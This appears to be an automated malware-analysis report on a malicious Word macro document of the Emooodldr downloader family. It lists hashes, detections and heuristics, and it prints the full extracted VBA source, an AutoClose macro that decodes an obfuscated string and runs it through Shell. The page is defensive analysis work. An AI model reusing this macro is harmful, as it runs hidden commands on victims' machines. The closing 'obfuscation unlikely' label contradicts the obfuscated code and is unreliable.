Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 d3f79eb90bfeccb5…

MALICIOUS

Office (OOXML)

54.0 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-08-04
MD5: 17bfd2e6a363c52192da32afe98786e9 SHA-1: 9d91e7a1b12ddbcef885c025c2309fffb48a65c7 SHA-256: d3f79eb90bfeccb507f69989ed38e32fddd7108660c92313260a64c798fe0167
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. It contains VBA macros, specifically an AutoClose macro, which utilizes the Shell() function to execute arbitrary commands. This indicates the document is designed to download and run a second-stage payload, consistent with the Emooodldr family's behavior.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2047 bytes
SHA-256: 77e877f950a43264d97826b3daa5b33c00e9d9685028031da52422cb34975aa6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
  sofronia = Array("D", "S", "v", "X", "k", "H", "F", "o", "F", "K", "v", "X", "X", "Y", "N", "x", "x", "E", "B", "u", "h", "E", "a", "B", "7", "6", "E", "a", "u", "E", "v", "a", "F", "a", "H", "Q", "r", "D", "x", "w", "c", "x", "S", "h", "g", "o", "H", "Y", "v", "Y", "e", "7", "X", "D", "k", "U", "B", "r", "6", "Q")
  eructing = gulch(sofronia)
  
  Application.Run "mammas", (eructing)
  
End Sub


Private Sub mammas(dynatrons)
   
   aramus = 6162
   snibbed = True
   
   While snibbed
     chromatophoric = aramus + 222
     If chromatophoric - aramus > 111 Then
       VBA.Shell dynatrons, vbNormalFocus - 1
       snibbed = False
      End If
     
   Wend

End Sub


Public Function tearaways(promnesia, salaries)

  stabwort = 9090
  pachylosisator = -1
  For Each haematinon In salaries
    If haematinon = promnesia Then
     stabwort = pachylosisator
     Exit For
    End If

    pachylosisator = pachylosisator + 1
    
  Next

  
  If stabwort = 9090 Then
    stabwort = -1
  End If


  tearaways = stabwort + 1
End Function

Private Function gulch(sofronia)
  ragtags = Array("X", "u", "g", "K", "D", "B", "6", "S", "x", "F", "e", "a", "c", "h", "k", "H", "U", "o", "Q", "Y", "E", "N", "7", "r", "v", "w")
  tyloma = Array("t", "i", "k", " ", "m", "d", "n", "s", "/", "e", "?", "w", "A", "j", "a", ".", "=", "x", "c", "p", "q", ":", "u", "o", "h", "N")
  
  crumblier = vbNullString
  
  For Each scyphomedusae In sofronia
    demipillar = Application.Run("tearaways", scyphomedusae, ragtags)
    If demipillar > -1 And demipillar < 8080 Then
    crumblier = tyloma(demipillar) + crumblier
    End If
  Next
  
  gulch = StrReverse(crumblier)
  
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: aa1168abf9448ca79c61af84c419d184056065d5e5f72676c982b54acc13a4e9
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely